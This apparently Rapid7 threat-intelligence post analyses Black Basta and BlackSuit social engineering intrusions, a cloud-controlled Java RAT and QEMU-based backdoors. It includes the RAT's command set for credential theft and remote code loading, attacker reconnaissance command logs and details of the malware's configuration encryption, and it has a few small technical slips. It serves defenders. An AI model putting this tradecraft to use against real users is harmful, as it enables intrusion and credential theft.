      <description><![CDATA[<h2>Executive Summary</h2><p>There has been a significant decrease in social engineering attacks linked to the Black Basta ransomware group since late December 2024. This lapse also included the <a href="https://github.com/D4RK-R4BB1T/BlackBasta-Chats/">leaked Black Basta chat logs in February 2025</a>, indicating internal conflict within the group. Despite this, Rapid7 has observed sustained social engineering attacks. Evidence now suggests that BlackSuit affiliates have either adopted Black Basta’s strategy or absorbed members of the group. The developer(s) of a previously identified Java malware family, distributed during social engineering attacks, have now been assessed as likely initial access brokers, having potentially provided historical access for Black Basta and/or FIN7 affiliates.</p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt412b8856b67fb99c/684c3af344bc4a205ca88a7c/blog-confirmed-malicious-chat-requests.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-confirmed-malicious-chat-requests.png" asset-alt="blog-confirmed-malicious-chat-requests.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt412b8856b67fb99c/684c3af344bc4a205ca88a7c/blog-confirmed-malicious-chat-requests.png" data-sys-asset-uid="blt412b8856b67fb99c" data-sys-asset-filename="blog-confirmed-malicious-chat-requests.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-confirmed-malicious-chat-requests.png" sys-style-type="display"/><em>Figure 1. Confirmed malicious chat requests, Feb 12 through May 7, as observed by Rapid7.</em><p></p><h2>Overview</h2><p>The first stage of the attack remains the same. The operator will flood targeted users with a high volume of emails, to the order of thousands per hour. This is often accomplished by signing the target user’s email up to many different publicly available mailing lists at once, effectively creating a denial of service attack when each service sends a welcome email. This technique is commonly known as an email bomb.</p><p>Following the email bomb, the strategy then splits between operators, though they all ultimately reach out to impacted users pretending to be a member of the targeted organization’s help desk. The majority of operators still perform this step via Microsoft Teams using either a default Azure/Entra tenant (i.e., email account ends with <span data-type='inlineCode'>onmicrosoft[.]com</span>) or their own custom domain. In rare cases however, operators, particularly those affiliated with BlackSuit, may forgo Microsoft Teams in favor of calling the targeted users directly with a spoofed number. This strategy, if successful, allows them to circumvent the cloud logging that would be recorded otherwise. For the first time, an explanation of the process written by Black Basta’s leader is also available for a summary of the process, in the context of explaining the attack to a new affiliate:</p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5025df00dffa3e89/684c3af26a67a9de725a3bdc/blog-chat-logs.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-chat-logs.png" asset-alt="blog-chat-logs.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5025df00dffa3e89/684c3af26a67a9de725a3bdc/blog-chat-logs.png" data-sys-asset-uid="blt5025df00dffa3e89" data-sys-asset-filename="blog-chat-logs.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-chat-logs.png" sys-style-type="display"/><em></em></p><p><em>Figure 2. Black Basta’s leader explains the social engineering attack. Additional chat logs with translations are </em><a href="https://github.com/rapid7/Rapid7-Labs/blob/main/IOCs/blacksuit_socialengineering/bbchat1.txt"><em>available at the Rapid7 GitHub repository</em></a><em></em></p><p>If the affiliate is able to gain the user’s confidence, they will still primarily attempt to gain access to the user’s asset — and thereby the corporate network — via Quick Assist. Quick Assist is a built-in Windows utility that allows a user to easily grant remote access to their computer to a third party. The utility has been widely abused for social engineering attacks, a trend which continues. BlackSuit affiliates in particular may also direct the user to a malicious domain that hosts a fake Quick Assist login page, for the purpose of harvesting their credentials.</p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd7ad72422c5d03e7/684c3af2950a571891af0a65/blog-ms-login.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-ms-login.png" asset-alt="blog-ms-login.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd7ad72422c5d03e7/684c3af2950a571891af0a65/blog-ms-login.png" data-sys-asset-uid="bltd7ad72422c5d03e7" data-sys-asset-filename="blog-ms-login.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-ms-login.png" sys-style-type="display"/></p><p><em>Figure 3. Fake Quick Assist login page, functions as a credential harvester.</em></p><p>In cases where the affiliate is unable to get Quick Assist to work, they will still cycle through a variety of other popular remote access tools (e.g., AnyDesk, ScreenConnect), and if that still doesn’t work, they may simply hang up on the user and move on to the next target.</p><em></em><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt31adcfe358e4991e/684c3af2343886387b2ceed5/blog-chat-logs-2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-chat-logs-2.png" asset-alt="blog-chat-logs-2.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt31adcfe358e4991e/684c3af2343886387b2ceed5/blog-chat-logs-2.png" data-sys-asset-uid="blt31adcfe358e4991e" data-sys-asset-filename="blog-chat-logs-2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-chat-logs-2.png" sys-style-type="display"/><em>Figure 4. One of Black Basta’s operators discusses their strategy regarding remote access tools.</em><p></p><p>Black Basta had at least one caller template/script for this purpose:</p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2691246333c44510/684c3af23ef1e75ef7697bf0/blog-chat-logs-3.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-chat-logs-3.png" asset-alt="blog-chat-logs-3.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2691246333c44510/684c3af23ef1e75ef7697bf0/blog-chat-logs-3.png" data-sys-asset-uid="blt2691246333c44510" data-sys-asset-filename="blog-chat-logs-3.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-chat-logs-3.png" sys-style-type="display"/><em>Figure 5. A call script used by Black Basta’s operators. The full script is </em><a href="https://github.com/rapid7/Rapid7-Labs/blob/main/IOCs/blacksuit_socialengineering/bbchat_call_script.txt"><em>available at the Rapid7 GitHub repository.</em></a><em></em></p><p></p><p>Quickly obtaining reliable access to the target network is still the top priority in the early stages of the attack, typically facilitated by stealing the targeted user’s credentials. In the past this has been achieved, for example, via a QR code sent to the target user via Microsoft Teams or the download and execution of malware which creates a fake Windows authentication prompt.</p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt98e0c324fe9ac0df/684c3af25bb3f86152a3b2df/blog-chat-logs-4.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-chat-logs-4.png" asset-alt="blog-chat-logs-4.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt98e0c324fe9ac0df/684c3af25bb3f86152a3b2df/blog-chat-logs-4.png" data-sys-asset-uid="blt98e0c324fe9ac0df" data-sys-asset-filename="blog-chat-logs-4.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-chat-logs-4.png" sys-style-type="display"/><em></em><p><em>Figure 6. One of Black Basta’s operators discusses the usage of QR codes for credential harvesting.</em></p><p>In some cases the operator who makes the initial call may also coerce the target user to provide an MFA code while still on the phone. Historically, operators will also attempt to steal VPN configuration files once remote access is established, which can allow them to authenticate directly to the network if the compromised user account is not remediated.</p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta12b1e32812beda6/684c3af22847d348c3b10711/blog-chat-log-5.png" height="143" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-chat-log-5.png" asset-alt="blog-chat-log-5.png" inline="true" width="428" max-width="428" max-height="143" style="max-width: 428px; width: 428px; max-height: 143px; height: 143px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta12b1e32812beda6/684c3af22847d348c3b10711/blog-chat-log-5.png" data-sys-asset-uid="blta12b1e32812beda6" data-sys-asset-filename="blog-chat-log-5.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-chat-log-5.png" sys-style-type="display"/><p><em>Figure 7. One of Black Basta’s operators discusses using stolen credentials to authenticate directly to the VPN for the targeted environment.</em></p><p>After the affiliate has successfully gained access they will typically transfer and execute malware on the compromised system. The specific malware differs per operator and typically marks the stage in which the access is passed from the caller to an operator within the group who specializes in what they refer to as “pentesting.” To facilitate the access, the operator who calls typically coordinates with the “pentester” to increase the chances of success. At this point in the attack the affiliate who called the user has already hung up under the guise of having fixed the spam problem, and the “pentester” then begins to enumerate the environment. Rapid7 has observed <a href="https://attack.mitre.org/techniques/T1558/004/">AS-REP</a> and <a href="https://attack.mitre.org/techniques/T1558/003/">Kerberoasting</a> attacks to be commonly attempted along with Active Directory Certificate Services (ADCS) abuse and other types of brute force password attacks.</p><h2>Technical Analysis</h2><p>After initial access has been achieved, the follow-on malware payloads that are downloaded to the compromised system and executed differ, per operator.</p><h3>Java RAT</h3><p>A large volume of social engineering incidents handled by Rapid7 have resulted in a Java RAT being downloaded and executed. This tactic was first observed by Rapid7 during October of 2024, and <a href="https://www.rapid7.com/blog/post/2024/12/04/black-basta-ransomware-campaign-drops-zbot-darkgate-and-custom-malware/">initially reported on in December 2024</a> in relation to the payload identity.jar. The first samples of the Java RAT observed by Rapid7 only utilized Microsoft OneDrive with optional proxy servers (e.g., SOCKS5) for a more direct C2 connection. The configuration was left in plain text, and did not contain any functionality to dynamically update or encrypt the configuration, primarily functioning only as a RAT via PowerShell session commands.</p><p>In the past 6+ months, development of the Java malware payload has continued to add/change numerous features. The Java malware now abuses cloud-based file hosting services provided by both Google and Microsoft to proxy commands through the respective cloud service provider’s (CSP) servers. Over time, the malware developer has shifted away from direct proxy connections (i.e., the config option is left blank or not present), towards OneDrive and Google Sheets, and most recently, towards simply using Google Drive. The logic of the RAT is obfuscated using various types of junk code, control flow obfuscation, and string obfuscation in an attempt to impede analysis.</p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd9b92ee829f79635/684c3afe5d16435292ae8190/blog-chat-log-6.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-chat-log-6.png" asset-alt="blog-chat-log-6.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd9b92ee829f79635/684c3afe5d16435292ae8190/blog-chat-log-6.png" data-sys-asset-uid="bltd9b92ee829f79635" data-sys-asset-filename="blog-chat-log-6.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-chat-log-6.png" sys-style-type="display"/><p><em>Figure 8. Obfuscated logic within the Java RAT, where three simple statements become dozens of lines and indentations.</em></p><p>The Java RAT and other payloads are distributed within an archive, the link for which is most often sent to the target user via a <span data-type='inlineCode'>pastebin[.]com</span> link. In cases as recent as May of 2025, Rapid7 has observed that the archives are still being publicly hosted on potentially compromised SharePoint instances. The archive and the payloads within are named to fit the initial social engineering lure. For example, in a recent incident, the archive was named <span data-type='inlineCode'>Email-Focus-Tool.zip</span>, likely to help prevent suspicion by the targeted user during the attack. The archive contains a <span data-type='inlineCode'>.jar</span> file (the Java RAT), a copy of required JDK dependencies contained within a child folder, and at least one <span data-type='inlineCode'>.lnk</span> file intended to make the malware easy to execute.</p><em></em><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta21c4b18282d384c/684c3afebe25df2c0c4e2c92/blog-chat-log-7.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-chat-log-7.png" asset-alt="blog-chat-log-7.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta21c4b18282d384c/684c3afebe25df2c0c4e2c92/blog-chat-log-7.png" data-sys-asset-uid="blta21c4b18282d384c" data-sys-asset-filename="blog-chat-log-7.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-chat-log-7.png" sys-style-type="display"/><p><em>Figure 9. The contents of an archive delivered by the threat actor and a `log.txt` file containing enumeration command output.</em></p><p>The archive is most often extracted to the staging directory <span data-type='inlineCode'>C:\ProgramData\</span> prior to execution. In at least one case, Rapid7 has also observed the operator who initiated the attack outputting system enumeration data to a plaintext file in the same directory, a technique commonly used in the past by Black Basta. Historically, this is information that they share during the initial stages of the attack to assess the network and the type of defenses they may have to deal with. For example, shown above, the operator who initially accessed the compromised asset spawned a command prompt and redirected the output of the <span data-type='inlineCode'>ipconfig /all</span> and <span data-type='inlineCode'>tasklist</span> commands to the file <span data-type='inlineCode'>log.txt</span>.</p><p>Most recent versions of the Java RAT have the capability to use Google Sheets to dynamically update the stored C2 configuration, which includes a Google spreadsheet ID (SSID), proxy server IPv4 addresses, application credentials (OneDrive), and/or service account credentials (Google Drive). At least one of the Google Spreadsheets used in this way was observed by Rapid7 to have been taken down by Google, which highlights the potential unreliability of using certain cloud services as a malware traffic proxy.</p><em></em><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltcabd56d810929919/684c3ee23e700fcd056dc2d5/google-spreadsheet.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="google-spreadsheet.png" asset-alt="google-spreadsheet.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltcabd56d810929919/684c3ee23e700fcd056dc2d5/google-spreadsheet.png" data-sys-asset-uid="bltcabd56d810929919" data-sys-asset-filename="google-spreadsheet.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="google-spreadsheet.png" sys-style-type="display"/><p><em>Figure 10. A Google spreadsheet used by the malware for dynamic configuration updates was taken down by Google.</em></p><p>One of the first actions taken by the malware on launch is to check for an existing configuration in the user’s registry, and if it is not already present, the copy included within the <span data-type='inlineCode'>.jar</span> payload, contained within the file <span data-type='inlineCode'>config.json</span>, is written there. All samples analyzed by Rapid7 did not have debugging messages removed, allowing them to be viewed by simply executing the <span data-type='inlineCode'>.jar</span> file in a console window, as all the debugging messages are written to stdout.</p><p><em></em><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f24a7659026b9be/684c3afe4a1597ebc2db69b5/blog-code.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-code.png" asset-alt="blog-code.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f24a7659026b9be/684c3afe4a1597ebc2db69b5/blog-code.png" data-sys-asset-uid="blt5f24a7659026b9be" data-sys-asset-filename="blog-code.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-code.png" sys-style-type="display"/></p><p><em>Figure 11. Debug statement output after executing the Java RAT via console.</em></p><p>The registry value name(s) and content for the stored config are both base64 encoded (e.g., <span data-type='inlineCode'>HKCU\SOFTWARE\FENokuuTCyVq\JJSUP0CEcUw9PENaNduhsA==</span>), with the decoded configuration content being encrypted using AES-256-ECB. The encryption key is derived from a seed that is stored as a 16 byte string within a file named <span data-type='inlineCode'>ek</span> (encryption key), that is contained within the <span data-type='inlineCode'>.jar</span> archive. The registry key name, a randomized alphabetic string, is hard coded and stored in a similar manner within the file <span data-type='inlineCode'>r_path</span> (registry path). The malware creates a SHA256 hash of the encryption key seed string, and the first 32 bytes of the SHA256 hash are then used as the AES-256-ECB key to encrypt and decrypt the malware’s configuration. Every sample analyzed by Rapid7 contained a unique key seed, though a particular sample is often distributed (within the related archive) to multiple targets for an extended period of time, often around a couple weeks.</p><p>After checking and loading the configuration from the registry, local resource, or updated configuration, the RAT will then establish at least one PowerShell session.</p><em></em><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd9cb13c5fe9958c6/684c3f736bd1c8839aeb2acc/blog-folders.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-folders.png" asset-alt="blog-folders.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd9cb13c5fe9958c6/684c3f736bd1c8839aeb2acc/blog-folders.png" data-sys-asset-uid="bltd9cb13c5fe9958c6" data-sys-asset-filename="blog-folders.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-folders.png" sys-style-type="display"/><p><em>Figure 12. Example process tree for the Java RAT.</em></p><p>The stdin and stdout for the PowerShell console are used to process remote commands. The commands sent to the Java RAT are proxied through the respective CSP by the malware creating two specific files within the cloud drive. The name of the files all contain the UUID of the infected asset, which is retrieved at the malware’s startup. There are two prefixes added onto the primary communication files, <span data-type='inlineCode'>cf_</span> and <span data-type='inlineCode'>rf_</span> which contextually appear to stand for create file and receive file, respectively. These two files correspond to the standard output (stdin) and standard input (stdin) of the PowerShell console. The malware uses the input file in two major ways. If the <span data-type='inlineCode'>cf_</span> file (stdin) starts with a specific command string, the content following it will be processed by the malware to execute functionality implemented by the malware developer.</p><em></em><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt852690a7e3373f60/684c3afe97300935f06c3c87/blog-code-2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-code-2.png" asset-alt="blog-code-2.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt852690a7e3373f60/684c3afe97300935f06c3c87/blog-code-2.png" data-sys-asset-uid="blt852690a7e3373f60" data-sys-asset-filename="blog-code-2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-code-2.png" sys-style-type="display"/><p><em>Figure 13. The logic for the `loginform` command within the if-else command processing chain used by the Java RAT. The malware developer did not update one of the debug statements for Google Drive.</em><br/>Otherwise, the content will be executed as a regular PowerShell command.</p><em></em><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blted0af96081b9b569/684c3afe851a769e29f6bff0/blog-code-3.png" height="223" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-code-3.png" asset-alt="blog-code-3.png" inline="true" width="508" max-width="508" max-height="223" style="max-width: 508px; width: 508px; max-height: 223px; height: 223px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blted0af96081b9b569/684c3afe851a769e29f6bff0/blog-code-3.png" data-sys-asset-uid="blted0af96081b9b569" data-sys-asset-filename="blog-code-3.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-code-3.png" sys-style-type="display"/><p><em>Figure 14. The default case in the if-else chain executes the command string via PowerShell.</em></p><p></p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt07d285d9a2988502/684c3b6efcecfa3c69a2f047/blog-code-4.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-code-4.png" asset-alt="blog-code-4.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt07d285d9a2988502/684c3b6efcecfa3c69a2f047/blog-code-4.png" data-sys-asset-uid="blt07d285d9a2988502" data-sys-asset-filename="blog-code-4.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-code-4.png" sys-style-type="display"/><p><em>Figure 15. The 'execute()' function within the same class executes the command string as a PowerShell command via jPowerShell.</em></p><p></p><table><colgroup data-width='803'><col style="width:39.10336239103363%"/><col style="width:60.89663760896637%"/></colgroup><thead><tr><th><p>Command</p></th><th><p>Function</p></th></tr></thead><tbody><tr><td><p>send</p></td><td><p>Send a file from the operator’s machine to the infected machine.</p></td></tr><tr><td><p>recive</p></td><td><p>Upload a file from the infected machine to the relevant cloud drive. The command string includes a typo made by the developer.</p></td></tr><tr><td><p>extract</p></td><td><p>Extract a specified file archive.</p></td></tr><tr><td><p>loginform</p></td><td><p>Present a fake login prompt to the user. Entered credentials are validated locally, and if correct, are uploaded to the operator’s machine through the cloud drive. The username must be specified by the operator.</p></td></tr><tr><td><p>newconfig</p></td><td><p>Replace the existing configuration with one retrieved from Google Sheets.</p></td></tr><tr><td><p>checkconfig</p></td><td><p>Check Google Sheets using the SSID to see if an update is available.</p></td></tr><tr><td><p>startsocks5</p></td><td><p>Initiate a Socks5 proxy tunnel using python.</p></td></tr><tr><td><p>steal</p></td><td><p>Attempt to decrypt and steal stored browser database information. (e.g., credentials)</p></td></tr><tr><td><p>screen</p></td><td><p>Given a supplied URL, download and execute a Java class in memory.</p></td></tr></tbody></table><p>Table 1. Command key for the Java RAT.</p><p>The <a href="https://www.rapid7.com/blog/post/2024/12/04/black-basta-ransomware-campaign-drops-zbot-darkgate-and-custom-malware/">previously seen</a> credential harvesting payload, <span data-type='inlineCode'>identity.jar</span>, has now also been integrated into the Java RAT, and instead of writing the entered credentials to a randomly named file within the working directory, the RAT sends it to the cloud drive C2 file that has been designated to the compromised host. This functionality is executed by the operator by sending the <span data-type='inlineCode'>loginform</span> (the Java class is abbreviated as “Lf”) command to the RAT via the cloud drive file. After decompiling and deobfuscating the Java code that the module consists of, it can be cleaned up, recompiled, and executed as a standalone program. This allows us to see that the appearance of the module to the targeted user is the same, including the fake “Windows Security” title. A review of the code indicates that it has not changed in any other significant way. The harvester still forces the active window on top and will not let the user close the window without entering their password or forcibly terminating the process.</p><em></em><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt6227f96ec6ae7d20/684c3b6e260f53589861451d/blog-code-5.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-code-5.png" asset-alt="blog-code-5.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt6227f96ec6ae7d20/684c3b6e260f53589861451d/blog-code-5.png" data-sys-asset-uid="blt6227f96ec6ae7d20" data-sys-asset-filename="blog-code-5.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-code-5.png" sys-style-type="display"/><em>Figure 16. The credential harvesting window used by the Java RAT.</em><p></p><p>As a result of the cloud service credentials being stored within the malware payload, and that, for example, Google Drive stores a revision history for every created file by default, it is possible to view the entire history of commands sent to each infected asset, including stdin and stdout.<br/>This gives a unique in console view of what the threat actor saw while they were hands-on-keyboard and executing commands. Command log snippets can be seen below, with identifying information redacted. Once access is established, the operator nearly always verifies the user’s name with the <span data-type='inlineCode'>dir</span> command and then uses this information to execute the <span data-type='inlineCode'>loginform</span> command, as the malware does not retrieve the executing user’s name on its own.</p><p><span data-type='inlineCode'>Infected Host GUID: 4C4C4544-0038-4610-8036-B6C04F394733 2025-04-24T16:53:34.038Z: dir c:\users\ 2025-04-24T16:54:47.967Z: loginform &lt;username&gt; 3 2025-04-24T18:40:36.584Z: net time 2025-04-24T18:42:54.426Z: whoami 2025-04-24T18:43:48.284Z: net user &lt;username&gt; /domain 2025-04-24T18:48:35.089Z: hostname 2025-04-24T18:49:57.182Z: net group "Domain Computers" /domain 2025-04-24T18:50:56.578Z: net time 2025-04-24T19:17:14.259Z: ipconfig /all 2025-04-24T19:19:44.442Z: hostname</span></p><p><span data-type='inlineCode'>Infected Host GUID: 594045B3-008B-4106-8FF4-B850DF6C76D0 2025-04-24T17:20:09.896Z: dir c:\users\ 2025-04-24T17:20:58.179Z: loginform &lt;username&gt; 3 2025-04-24T17:36:52.542Z: wmic qfe list brief 2025-04-24T17:40:13.454Z: net time 2025-04-24T17:41:26.860Z: ping -n 2 &lt;domain_controller_hostname&gt; 2025-04-24T17:49:08.598Z: net group "Domain Computers" /domain &gt; c:\users\public\001.txt</span></p><p>In some cases, Rapid7 has observed a command log gap ranging from around 4 to 12 days, beginning after the RAT is successfully executed and the user’s credentials have been stolen. In some cases an SSH tunnel is also established before activity stops. This type of behavior indicates that the threat actor may not be intending to use the access for themselves, but rather sell it to another group that specializes in fully compromising the network towards various ends (e.g., data theft, extortion, ransomware). Rapid7 has also observed the access being used to test new malware payloads and functionality, rather than progress the compromise within the targeted networks.</p><h3>Qemu</h3><p>In a smaller volume of incidents handled by Rapid7, operators have been observed sending the user a Google Drive link to download a zip archive containing QEMU (Quick Emulator) and its dependencies, including a custom made <span data-type='inlineCode'>.qcow2</span> (QEMU Copy-On-Write version 2) virtual disk image. The image contains a Windows 7 Ultimate virtual machine (VM) configured to automatically logon and execute a RunOnce registry key that launches a ScreenConnect installer. In most cases a link to a fake Quick Assist login page (credential harvester) was also delivered to the targeted user by proxy via a self-destructing link service such as <span data-type='inlineCode'>1ty[.]me</span> alongside the Google Drive zip archive link.</p><em></em><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltdf8087b069488343/684c3aff96cee07264183bc7/blog-code-6.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-code-6.png" asset-alt="blog-code-6.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltdf8087b069488343/684c3aff96cee07264183bc7/blog-code-6.png" data-sys-asset-uid="bltdf8087b069488343" data-sys-asset-filename="blog-code-6.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-code-6.png" sys-style-type="display"/><em>Figure 17. Evidence left in the .qcow2 image, including a ScreenConnect installer, registry command, and QDoor malware.</em><p></p><p>Once the remote session is established in this way, the VM also contains a copy of QDoor, Rust malware that functions as a C2 proxy, which allows the the threat actors to tunnel C2 traffic through a proxy to the VM, on the infected machine in the target user’s environment. In all cases handled by Rapid7, the QEMU executable was renamed (e.g., <span data-type='inlineCode'>w.exe</span><span data-type='inlineCode'>/</span><span data-type='inlineCode'>svvhost.exe</span>), and, as the emulator of the VM, it is the source on the infected host machine for all network connections resulting from processes running inside the VM. QDoor malware has been attributed to the BlackSuit ransomware group by <a href="https://www.linkedin.com/pulse/qdoor-new-backdoor-tool-blacksuits-arsenal-connectwise-uwvhc">ConnectWise</a>.</p><p>In more recent cases, Rapid7 has observed the BlackSuit affiliates distributing a much smaller (64MB vs. 8.6GB) <span data-type='inlineCode'>.qcow2</span> image that contains TinyCore Linux. When the image is loaded by QEMU, the <span data-type='inlineCode'>bootlocal[.]sh</span> script that is executed upon startup of the TinyCore OS has been set by the threat actors to sleep unless a successful ping is made to one of their servers. Once the ping is successful, an ELF file, <span data-type='inlineCode'>123.out</span> is executed which attempts to connect to a C2 server.</p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltcfd43f41bb848fac/684c3b6e37c391988b22c073/blog-code-7.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-code-7.png" asset-alt="blog-code-7.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltcfd43f41bb848fac/684c3b6e37c391988b22c073/blog-code-7.png" data-sys-asset-uid="bltcfd43f41bb848fac" data-sys-asset-filename="blog-code-7.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-code-7.png" sys-style-type="display"/><em>Figure 18. The contents of `bootlocal[.]sh within the TinyCore VM`</em><p></p><p>Within the command log of the VM image, .ash_history, a wget command is also present which indicates the external server that the <span data-type='inlineCode'>123.out</span> file was originally downloaded to the VM from.</p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt275a4221104818db/684c3b6e44bc4a6d61a88a84/blog-code-8.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-code-8.png" asset-alt="blog-code-8.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt275a4221104818db/684c3b6e44bc4a6d61a88a84/blog-code-8.png" data-sys-asset-uid="blt275a4221104818db" data-sys-asset-filename="blog-code-8.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-code-8.png" sys-style-type="display"/><em>Figure 19. Part of the `.ash_history` command log within the TinyCore VM.</em><p></p><p>In an alternate <span data-type='inlineCode'>tc.qcow2</span> payload observed by Rapid7, the TinyCore VM boot script will unconditionally execute two ELF files, <span data-type='inlineCode'>nossl</span> and <span data-type='inlineCode'>ssl</span>. These ELF payloads function as multi-threaded socks proxies, where the <span data-type='inlineCode'>ssl</span> copy uses the OpenSSL library to encrypt traffic and <span data-type='inlineCode'>ssl</span> sends traffic in plaintext. In both cases, the ELF payloads send registration information to the C2 proxy server on port 53, which is typically used for DNS.</p><em></em><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte39a575158a93d48/684c3b6e343886b6d52ceef4/blog-code-9.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-code-9.png" asset-alt="blog-code-9.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte39a575158a93d48/684c3b6e343886b6d52ceef4/blog-code-9.png" data-sys-asset-uid="blte39a575158a93d48" data-sys-asset-filename="blog-code-9.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-code-9.png" sys-style-type="display"/><em>Figure 20. The ELF `nossl` begins execution by setting the C2 IPv4 address. Debugging symbols were left inside the file, which shows the original variable names.</em><em></em><em></em><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltaec05873e8fbc459/684c3b62343886b2e12ceeef/blog-code-10.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-code-10.png" asset-alt="blog-code-10.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltaec05873e8fbc459/684c3b62343886b2e12ceeef/blog-code-10.png" data-sys-asset-uid="bltaec05873e8fbc459" data-sys-asset-filename="blog-code-10.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-code-10.png" sys-style-type="display"/></p><em>Figure 21. The registration string sent by `nossl` to the C2 proxy server from within the TinyCore VM.</em><p></p><p>As shown below from the Black Basta chat leaks, BlackSuit has connections with the group, so the adaptation of their typical spear phishing attacks towards these types of social engineering attacks for initial access is unsurprising.</p><em></em><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2fab79b62628bb27/684c41915a6d974b987d1faa/blog-chat-logs-8.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-chat-logs-8.png" 